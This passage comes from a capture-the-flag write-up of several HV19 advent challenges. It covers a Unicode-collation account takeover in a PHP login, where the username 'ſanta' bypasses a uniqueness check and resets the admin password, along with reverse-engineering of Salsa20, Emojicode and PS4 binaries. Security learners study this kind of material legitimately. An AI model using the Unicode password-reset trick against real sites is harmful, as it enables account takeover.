be correctly escaped with &#8220;real_escape_string&#8221;. It doesn&#8217;t look like there are any SQL injection vulnerabilities. There is even a blocking method, if we try to brute-force the login form we get blacklisted for 15 minutes. Nice measure to stop participants to use tools like SQLmap! Based on the source code we know the user &#8216;santa&#8217; is admin. This is our target!<\/p>\n\n\n<p>This piece of code looks promising:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$conn->query(\"INSERT INTO users (username, password) VALUES (UPPER('\".$usr.\"'),'\".$pwd.\"') ON DUPLICATE KEY UPDATE password='\".$pwd.\"'\");<\/pre>\n\n\n<p>This method sets a new password to an existing user when a duplicate key error in MySQL is triggered. Apparently the username is also the key in the users table. <br \/>We cannot just create a new user &#8216;santa&#8217; because there is a check for existing users when we register a new one:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$res = $conn->query(\"SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('\".$usr.\"')\");<\/pre>\n\n\n<p>Good (or bad?) in timing was <a href=\"https:\/\/news.ycombinator.com\/item?id=21809390\">hackernews publishing an interesting article<\/a> about <a href=\"https:\/\/eng.getwisdom.io\/hacking-github-with-unicode-dotless-i\/\">&#8220;Hacking Github with Unicode&#8221;<\/a> the same day as the challenge was&#8230; <\/p>\n\n\n<p>We can exploit exactly this vulnerability to change the password of the user &#8216;santa&#8217;. The existing user check is done with &#8220;BINARY LOWER&#8221;, therefore this will not trigger when we register a new unicode &#8216;santa&#8217; user. But the ON Duplicate Error will, so we can set a new password. <\/p>\n\n\n<p>Register the user &#8216;\u017fanta&#8217; with the password &#8216;password&#8217;.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"410\" height=\"476\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-23.png\" alt=\"\" class=\"wp-image-1320\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-23.png 410w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-23-258x300.png 258w\" sizes=\"auto, (max-width: 410px) 100vw, 410px\" \/><\/figure><\/div>\n\n\n<p>Login with the username &#8216;santa&#8217; and the password &#8216;password&#8217; and browse to the admin area.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"408\" height=\"341\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-24.png\" alt=\"\" class=\"wp-image-1321\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-24.png 408w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-24-300x251.png 300w\" sizes=\"auto, (max-width: 408px) 100vw, 408px\" \/><\/figure><\/div>\n\n\n<p><strong>Flag:  HV19{h4v1ng_fun_w1th_un1c0d3}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.18 Dance with me (Author: hardlock &#8212; Level: hard)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Santa had some fun and created todays present with a special dance. this is what he made up for you:<br \/><em>096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15<\/em><br \/>Dance with him to recover the flag.<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong><a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/93d0df60-3579-4672-8efc-f32327d3643f.zip\">93d0df60-3579-4672-8efc-f32327d3643f.zip<\/a><\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>The ZIP file provided had a Debian package file inside. <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ file .\/dance\n.\/dance: Debian binary package (format 2.0), with control.tar.gz, data compression lzma<\/pre>\n\n\n<p>The Debian package can be extracted:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ mkdir tmp\n$ dpkg-deb -R dance tmp<\/pre>\n\n\n<p>We find a control file and a binary inside the folders. This is a binary compiled to run on an iPhone.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ cat control\nPackage: com.hacking-lab.dance\nName: dance\nArchitecture: iphoneos-arm\nDescription: An awesome tool of some sort!!\nMaintainer: hardlock\nAuthor: hardlock\nSection: System\nTag: role::hacker\nVersion: 0.0.1\nInstalled-Size: 196\n$ file dance\ndance: Mach-O universal binary with 3 architectures: [armv7:Mach-O armv7 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]<\/pre>\n\n\n<p>As I don&#8217;t posses an iPhone this means static analysis&#8230; This time I choose Hopper to work with. The relevant part of the binary are in the _main function:<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-17.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"554\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-17-1024x554.png\" alt=\"\" class=\"wp-image-1288\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-17-1024x554.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-17-300x162.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-17-768x416.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-17.png 1532w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-18.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-18-1024x559.png\" alt=\"\" class=\"wp-image-1289\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-18-1024x559.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-18-300x164.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-18-768x419.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-18.png 1533w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-19.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"560\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-19-1024x560.png\" alt=\"\" class=\"wp-image-1290\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-19-1024x560.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-19-300x164.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-19-768x420.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-19-1536x839.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-19.png 1548w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<p>According to the challenge description this binary might implement the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Salsa20\">Salsa20 encryption<\/a>. We get the confirmation about this when we compare the _dance_words function with the Wikipedia article:<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-16.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"659\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-16-1024x659.png\" alt=\"\" class=\"wp-image-1287\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-16-1024x659.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-16-300x193.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-16-768x494.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-16.png 1256w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<p>This means we have to find a <strong>256-bit key<\/strong>, and<strong> 64-bit nonce<\/strong> to reverse the flag. Apparently the main function does all the needed calculations. The _dance functions are complete implementations of the Salsa encryption and just need the right arguments. <\/p>\n\n\n<p>The nonce is pretty straight forward to find:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">_dance(&amp;var_B0, r19, &amp;var_70, 0xb132d0a8e78f4511);<\/pre>\n\n\n<p>After having the nonce (0xb132d0a8e78f4511) we need the 256bit key. They is loaded in this part of the main function:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">0000000100007d9c         ldr        x8, [x8]\n0000000100007da0         stur       x8, [x29, var_28]\n0000000100007da4         adr        x8, #0x100007f50\n0000000100007da8         nop\n0000000100007dac         ldp        q0, q1, [x8, #0x20]\n0000000100007db0         stp        q0, q1, [sp, #0x90]\n0000000100007db4         ldp        q0, q1, [x8]\n0000000100007db8         stp        q0, q1, [sp, #0x70]\n0000000100007dbc         movi       v0.16b, #0x0\n0000000100007dc0         stp        q0, q0, [sp, #0x50]\n0000000100007dc4         stp        q0, q0, [sp, #0x30]\n0000000100007dc8         adr        x0, #0x100007f90      <\/pre>\n\n\n<p>Basically the key is stored at the <strong>address 0x100007f50<\/strong>. We can just copy &amp; use it. <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;strong>Nonce&lt;\/strong>: 11 45 8f e7 a8 d0 32 b1 (Endianess!  0xb132d0a8e78f4511)\n&lt;strong>Key&lt;\/strong>: 03 20 63 46 61 b6 3c af aa 76 c2 7e ea 00 b5 9b fb 2f 70 97 21 4f d0 4c b2 57 ac 29 04 ef ee 46\n&lt;strong>Encrypted Flag&lt;\/strong>:  &lt;em>096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15&lt;\/em> <\/pre>\n\n\n<p>I was lazy and didn&#8217;t write code to decrypt the flag myself. I used this online tool:  <a href=\"http:\/\/kryptografie.de\/kryptografie\/chiffre\/salsa20.htm\">http:\/\/kryptografie.de\/kryptografie\/chiffre\/salsa20.htm<\/a> <\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-20.png\"><img loading=\"lazy\" decoding=\"async\" width=\"837\" height=\"355\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-20.png\" alt=\"\" class=\"wp-image-1291\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-20.png 837w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-20-300x127.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-20-768x326.png 768w\" sizes=\"auto, (max-width: 837px) 100vw, 837px\" \/><\/a><\/figure><\/div>\n\n\n<p><strong>Flag: HV19{Danc1ng_Salsa_in_ass3mbly}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.19 \ud83c\udf85 (Author: M. &#8212; Level: hard)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>\ud83c\udfc1\ud83c\udf47\ud83c\udfb6\ud83d\udd24\ud83d\udc07\ud83e\udd81\ud83c\udf5f\ud83d\uddde\ud83c\udf70\ud83d\udcd8\ud83e\udd56\ud83d\uddbc\ud83d\udea9\ud83e\udd69\ud83d\ude35\u26fa\u2757\ufe0f\ud83e\udd50\ud83d\ude00\ud83c\udf49\ud83e\udd5e\ud83c\udfc1\ud83d\udc49\ufe0f\ud83e\uddc0\ud83c\udf4e\ud83c\udf6a\ud83d\ude80\ud83d\ude4b\ud83c\udfd4\ud83c\udf4a\ud83d\ude1b\ud83d\udc14\ud83d\ude87\ud83d\udd37\ud83c\udfb6\ud83d\udcc4\ud83c\udf66\ud83d\udce9\ud83c\udf4b\ud83d\udca9\u2049\ufe0f\ud83c\udf44\ud83e\udd5c\ud83e\udd96\ud83d\udca3\ud83c\udf84\ud83e\udd68\ud83d\udcfa\ud83e\udd6f\ud83d\udcfd\ud83c\udf56\ud83d\udc20\ud83d\udcd8\ud83d\udc44\ud83c\udf54\ud83c\udf55\ud83d\udc16\ud83c\udf2d\ud83c\udf77\ud83e\udd91\ud83c\udf74\u26ea\ud83e\udd27\ud83c\udf1f\ud83d\udd13\ud83d\udd25\ud83c\udf81\ud83e\udde6\ud83e\udd2c\ud83d\udeb2\ud83d\udd14\ud83d\udd6f\ud83e\udd76\u2764\ufe0f\ud83d\udc8e\ud83d\udcef\ud83c\udf99\ud83c\udf9a\ud83c\udf9b\ud83d\udcfb\ud83d\udcf1\ud83d\udd0b\ud83d\ude08\ud83d\udd0c\ud83d\udcbb\ud83d\udc2c\ud83d\udda8\ud83d\uddb1\ud83d\uddb2\ud83d\udcbe\ud83d\udcbf\ud83e\uddee\ud83c\udfa5\ud83c\udf9e\ud83d\udd0e\ud83d\udca1\ud83d\udd26\ud83c\udfee\ud83d\udcd4\ud83d\udcd6\ud83c\udfd9\ud83d\ude01\ud83d\udca4\ud83d\udc7b\ud83d\udef4\ud83d\udcd9\ud83d\udcda\ud83e\udd53\ud83d\udcd3\ud83d\udee9\ud83d\udcdc\ud83d\udcf0\ud83d\ude02\ud83c\udf47\ud83d\ude95\ud83d\udd16\ud83c\udff7\ud83d\udcb0\u26f4\ud83d\udcb4\ud83d\udcb8\ud83d\ude81\ud83e\udd76\ud83d\udcb3\ud83d\ude0e\ud83d\udd8d\ud83d\ude8e\ud83e\udd73\ud83d\udcdd\ud83d\udcc1\ud83d\uddc2\ud83e\udd74\ud83d\udcc5\ud83d\udcc7\ud83d\udcc8\ud83d\udcc9\ud83d\udcca\ud83d\udd12\u26c4\ud83c\udf30\ud83d\udd77\u23f3\ud83d\udcd7\ud83d\udd28\ud83d\udee0\ud83e\uddf2\ud83d\udc27\ud83d\ude91\ud83e\uddea\ud83d\udc0b\ud83e\uddec\ud83d\udd2c\ud83d\udd2d\ud83d\udce1\ud83e\udd2a\ud83d\ude92\ud83d\udc89\ud83d\udc8a\ud83d\udecf\ud83d\udecb\ud83d\udebd\ud83d\udebf\ud83e\uddf4\ud83e\uddf7\ud83c\udf69\ud83e\uddf9\ud83e\uddfa\ud83d\ude3a\ud83e\uddfb\ud83d\ude9a\ud83e\uddef\ud83d\ude07\ud83d\udeac\ud83d\udddc\ud83d\udc7d\ud83d\udd17\ud83e\uddf0\ud83c\udfbf\ud83d\udef7\ud83e\udd4c\ud83c\udfaf\ud83c\udfb1\ud83c\udfae\ud83c\udfb0\ud83c\udfb2\ud83c\udfce\ud83e\udd75\ud83e\udde9\ud83c\udfad\ud83c\udfa8\ud83e\uddf5\ud83e\uddf6\ud83c\udfbc\ud83c\udfa4\ud83e\udd41\ud83c\udfac\ud83c\udff9\ud83c\udf93\ud83c\udf7e\ud83d\udc90\ud83c\udf5e\ud83d\udd2a\ud83d\udca5\ud83d\udc09\ud83d\ude9b\ud83e\udd95\ud83d\udd10\ud83c\udf57\ud83e\udd20\ud83d\udc33\ud83e\uddeb\ud83d\udc1f\ud83d\udda5\ud83d\udc21\ud83c\udf3c\ud83e\udd22\ud83c\udf37\ud83c\udf0d\ud83c\udf08\u2728\ud83c\udf8d\ud83c\udf16\ud83e\udd2f\ud83d\udc1d\ud83e\udda0\ud83e\udd8b\ud83e\udd2e\ud83c\udf0b\ud83c\udfe5\ud83c\udfed\ud83d\uddfd\u26f2\ud83d\udcaf\ud83c\udf01\ud83c\udf03\ud83d\ude8c\ud83d\udcd5\ud83d\ude9c\ud83d\udec1\ud83d\udef5\ud83d\udea6\ud83d\udea7\u26f5\ud83d\udef3\ud83d\udcba\ud83d\udea0\ud83d\udef0\ud83c\udf86\ud83e\udd15\ud83d\udc80\ud83e\udd13\ud83e\udd21\ud83d\udc7a\ud83e\udd16\ud83d\udc4c\ud83d\udc4e\ud83e\udde0\ud83d\udc40\ud83d\ude34\ud83d\udda4\ud83d\udd24 \u2757\ufe0f\u27a1\ufe0f \u3253 \ud83c\udd95\ud83c\udf6f\ud83d\udc1a\ud83d\udd22\ud83c\udf46\ud83d\udc38\u2757\ufe0f\u27a1\ufe0f \ud83d\udd8d\ud83c\udd95\u32b7 \ud83d\udd02 \u2318 \ud83c\udd95\u23e9\u23e9 \ud83d\udc14\ud83c\udf68\ud83c\udf46\u2757\ufe0f \ud83d\udc14\u3253\u2757\ufe0f\u2757\ufe0f \ud83c\udf47 \u2318 \u27a1\ufe0f\ud83d\udc3d \u32b7 \ud83d\udc3d \u3253 \u2318\u2757\ufe0f\u2757\ufe0f\ud83c\udf49 \ud83c\udfb6\ud83d\udd24\ud83c\udf74\ud83c\udf99\ud83e\udd96\ud83d\udcfa\ud83c\udf49\ud83d\udcd8\ud83c\udf56\ud83d\udcdc\ud83d\udd14\ud83c\udf1f\ud83e\udd91\u2764\ufe0f\ud83d\udca9\ud83d\udd0b\u2764\ufe0f\ud83d\udd14\ud83c\udf49\ud83d\udce9\ud83c\udf9e\ud83c\udfee\ud83c\udf1f\ud83d\udcbe\u26ea\ud83d\udcfa\ud83e\udd6f\ud83e\udd73\ud83d\udd24 \u2757\ufe0f\u27a1\ufe0f \ud83c\udd5c \ud83c\udfb6\ud83d\udd24\ud83d\udc90\ud83d\udc21\ud83e\uddf0\ud83c\udfb2\ud83e\udd13\ud83d\ude9a\ud83e\udde9\ud83e\udd21\ud83d\udd24 \u2757\ufe0f\u27a1\ufe0f \ud83c\udd7c \ud83d\ude00 \ud83d\udd24 \ud83d\udd12 \u27a1\ufe0f \ud83c\udf85\ud83c\udffb\u2049\ufe0f \u27a1\ufe0f \ud83c\udf84\ud83d\udea9 \ud83d\udd24\u2757\ufe0f\ud83d\udcc7\ud83d\udd2a \ud83c\udd95 \ud83d\udd21 \ud83d\udc42\ud83c\udffc\u2757\ufe0f\ud83d\udc14\ud83c\udf68\ud83c\udf46\u2757\ufe0f\ud83d\udc14\ud83c\udf68\ud83d\udc4e\ud83c\udf46\u2757\ufe0f\u2757\ufe0f\u2757\ufe0f \u27a1\ufe0f \ud83c\udd3c \u21aa\ufe0f\ud83d\udc14\ud83c\udd3c\u2757\ufe0f\ud83d\ude4c \ud83d\udc14\ud83c\udf68\ud83c\udf46\u2757\ufe0f\ud83c\udf47\ud83e\udd2f\ud83d\udc07\ud83d\udcbb\ud83d\udd24\ud83d\udc4e\ud83d\udd24\u2757\ufe0f\ud83c\udf49 \u2623\ufe0f\ud83c\udf47\ud83c\udd95\ud83e\udde0\ud83c\udd95\ud83d\udc14\ud83c\udd5c\u2757\ufe0f\u2757\ufe0f\u27a1\ufe0f \u2713\ud83d\udd02 \u2318 \ud83c\udd95\u23e9\u23e9\ud83d\udc14\ud83c\udf68\ud83c\udf46\u2757\ufe0f\ud83d\udc14\ud83c\udd5c\u2757\ufe0f\u2757\ufe0f\ud83c\udf47\ud83d\udc3d \u32b7 \ud83d\udc3d \ud83c\udd5c \u2318\u2757\ufe0f\u2757\ufe0f \u27a1\ufe0f \u2303\ud83d\udc3d \ud83c\udd3c \u2318 \ud83d\udeae\ud83d\udc14\ud83c\udd3c\u2757\ufe0f\u2757\ufe0f\u27a1\ufe0f ^\ud83d\udca7\ud83c\udf7a\u2303\u2796\ud83d\udc14\u3253\u2757\ufe0f\u2797\ud83d\udc14\ud83c\udf68\ud83d\udc4e\ud83d\udc4d\ud83c\udf46\u2757\ufe0f\u2757\ufe0f\u274c^\u274c\ud83d\udca7\u2318\u2757\ufe0f\u27a1\ufe0f \u2388 \u21aa\ufe0f \u2318 \u25c0 \ud83d\udc14\ud83c\udd7c\u2757\ufe0f\ud83e\udd1d\u274e\ud83c\udf7a\ud83d\udc3d \u32b7 \ud83d\udc3d \ud83c\udd7c \u2318\u2757\ufe0f\u2757\ufe0f\u2796 \ud83e\udd1c\ud83e\udd1c \ud83d\udc14\ud83c\udd5c\u2757\ufe0f\u2795\ud83d\udc14\ud83c\udd5c\u2757\ufe0f\u2796\ud83d\udc14\ud83c\udd3c\u2757\ufe0f\u2796\ud83d\udc14\ud83c\udd7c\u2757\ufe0f\u2795\ud83d\udc14\ud83c\udf68\ud83d\udc4d\ud83c\udf46\u2757\ufe0f\ud83e\udd1b\u2716\ud83d\udc14\ud83c\udf68\ud83d\udc4e\ud83d\udc4e\ud83d\udc4e\ud83c\udf46\u2757\ufe0f\ud83e\udd1b \ud83d\ude4c \ud83d\udd22\u2388\u2757\ufe0f\u2757\ufe0f\ud83c\udf47 \ud83e\udd2f\ud83d\udc07\ud83d\udcbb\ud83d\udd24\ud83d\udc4e\ud83d\udd24\u2757\ufe0f\ud83c\udf49\u270d\u2713 \u2388 \u2318 \ud83d\udc14\ud83c\udf68\ud83d\udc4e\ud83c\udf46\u2757\ufe0f\u2757\ufe0f\ud83c\udf49\ud83d\udd21\ud83c\udd95\ud83d\udcc7\ud83e\udde0\u2713 \ud83d\udc14\ud83c\udd5c\u2757\ufe0f\u2757\ufe0f\u2757\ufe0f\u27a1\ufe0f \u2318\u21aa\ufe0f\u2318 \ud83d\ude4c \ud83e\udd37\u200d\u2640\ufe0f\ud83c\udf47\ud83e\udd2f\ud83d\udc07\ud83d\udcbb\ud83d\udd24\ud83d\udc4e\ud83d\udd24\u2757\ufe0f\ud83c\udf49\ud83d\ude00\ud83c\udf7a\u2318\u2757\ufe0f\ud83c\udf49 \ud83c\udf49<\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>The emojis in the description are actually program code. This is <a href=\"https:\/\/www.emojicode.org\/\">emojicode<\/a>. \ud83e\udd2f The emojis can actually be compiled and run like any other program on a machine. At first sight there were two possibilities to solve this challenge.<\/p>\n\n\n<ol class=\"wp-block-list\"><li>Learn emojicode and understand what the program does<\/li><li>Compile the program and disassemble\/debug the executable like any other binary file<\/li><\/ol>\n\n\n<p>I didn&#8217;t like this challenge at all. In my opinion it does not make sense to learn a new programming language which I obviously will never use again.. <\/p>\n\n\n<p>Therefore I tried variant number two. But this approach seemed way harder than it should. After some time I heard the rumor, that there is an easy variant to solve the challenge and we should focus on the output of the program. I am very glad to have received this hint! \ud83d\ude42<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ .\/emoji\n \ud83d\udd12 \u27a1\ufe0f \ud83c\udf85\ud83c\udffb\u2049\ufe0f \u27a1\ufe0f \ud83c\udf84\ud83d\udea9\n\ud83e\udd2f Program panicked: \ud83d\udc4e<\/pre>\n\n\n<p>Lock -&gt; Santa?! -&gt; Xmas Tree Flag. It almost sounds like an if\/else comparison. After some moments (long ones \ud83d\ude00) it got me. Santa gets a lock, what does he need to return us the flag? THE KEY! <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ .\/emoji\n\ud83d\udd12 \u27a1\ufe0f \ud83c\udf85\ud83c\udffb\u2049\ufe0f \u27a1\ufe0f \ud83c\udf84\ud83d\udea9\n\ud83d\udd11\nHV19{*&lt;|:-)____\\o\/____;-D}<\/pre>\n\n\n<p><b>Flag: HV19{*<|:-)____\\o\/____;-D}<\/b><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.20 i want to play a game (Author: hardlock &#8212; Level: hard)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Santa was spying you on Discord and saw that you want something weird and obscure to reverse?<br \/>your wish is my command.<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong><a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/e22163c8-e0a4-475b-aef5-6a8aba51fd93.zip\">e22163c8-e0a4-475b-aef5-6a8aba51fd93.zip<\/a><\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>Previous years the &#8220;I want to play a game&#8221; challenges always were binaries of various game consoles. Let&#8217;s examine the file a bit closer. <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ file game\n\/mnt\/shared\/game: Intel amd64 COFF object file, no line number info, not stripped, 26 sections, symbol offset=0xb50, 99 symbols\n$ strings game\n...\nAWAVAUATSH\n|$0L\nt$PH\nsendflag\nD$'H\nD$BH\n[A\\A]A^A_]\n*+^{9\nlibkernel.sprx\nsceKernelGetIdPs\nsceKernelGetOpenPsIdForSystem\n\/mnt\/usb0\/PS4UPDATE.PUP\n%02x\nf86d4f9d2c049547bd61f942151ffb55\nGCC: (GNU) 7.4.0\n...<\/pre>\n\n\n<p>OK, looks like a PS4 executable. I used Ghidra again to work on this challenge. Everything interesting seems to be in the main function. Here is the disassembled pseudo code of Ghidra:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">undefined8 _main(void)\n{\n  byte bVar1;\n  undefined *puVar2;\n  undefined *puVar3;\n  uint uVar4;\n  int iVar5;\n  undefined8 uVar6;\n  undefined8 uVar7;\n  long lVar8;\n  long lVar9;\n  undefined2 *puVar10;\n  code *local_520;\n  code *local_518;\n  undefined8 local_509;\n  undefined local_501;\n  undefined2 local_500 [8];\n  undefined2 local_4f0;\n  undefined2 local_4ee;\n  undefined4 local_4ec;\n  undefined local_4e6 [6];\n  byte local_4e0 [32];\n  byte local_4c0 [32];\n  undefined local_4a0 [112];\n  undefined local_430 [1024];\n  (*(code *)refptr.initKernel)();\n  (*(code *)refptr.initLibc)();\n  (*(code *)refptr.initNetwork)();\n  uVar4 = (**(code **)refptr.sceKernelLoadStartModule)(0x2174,0,0,0,0,0);\n  puVar3 = refptr.sceKernelDlsym;\n  (*(code *)refptr.sceKernelDlsym)((ulong)uVar4,0x219d,&amp;local_520);\n  (*(code *)puVar3)((ulong)uVar4,0x21c6,&amp;local_518);\n  puVar3 = refptr.malloc;\n  uVar6 = (**(code **)refptr.malloc)(0x40);\n  uVar7 = (**(code **)puVar3)(0x10);\n  (*local_520)(uVar6);\n  (*local_518)(uVar7);\n  uVar6 = (**(code **)refptr.fopen)(0x2234,0x222a);\n  lVar8 = (**(code **)puVar3)(0x21);\n  (*(code *)refptr.MD5Init)(local_4a0);\n  puVar2 = refptr.MD5Update;\n  puVar3 = refptr.fread;\n  while( true ) {\n    uVar4 = (**(code **)puVar3)(local_430,1,0x400,uVar6);\n    if (uVar4 == 0) break;\n    (*(code *)puVar2)(local_4a0,local_430,(ulong)uVar4);\n  }\n  puVar10 = local_500;\n  (*(code *)refptr.MD5Final)(puVar10,local_4a0);\n  (**(code **)refptr.fclose)(uVar6);\n  puVar2 = refptr.sprintf;\n  lVar9 = lVar8;\n  do {\n    bVar1 = *(byte *)puVar10;\n    puVar10 = (undefined2 *)((long)puVar10 + 1);\n    (**(code **)puVar2)(lVar9,0x22d7,(ulong)bVar1);\n    lVar9 = lVar9 + 2;\n  } while (&amp;local_4f0 != puVar10);\n  iVar5 = (**(code 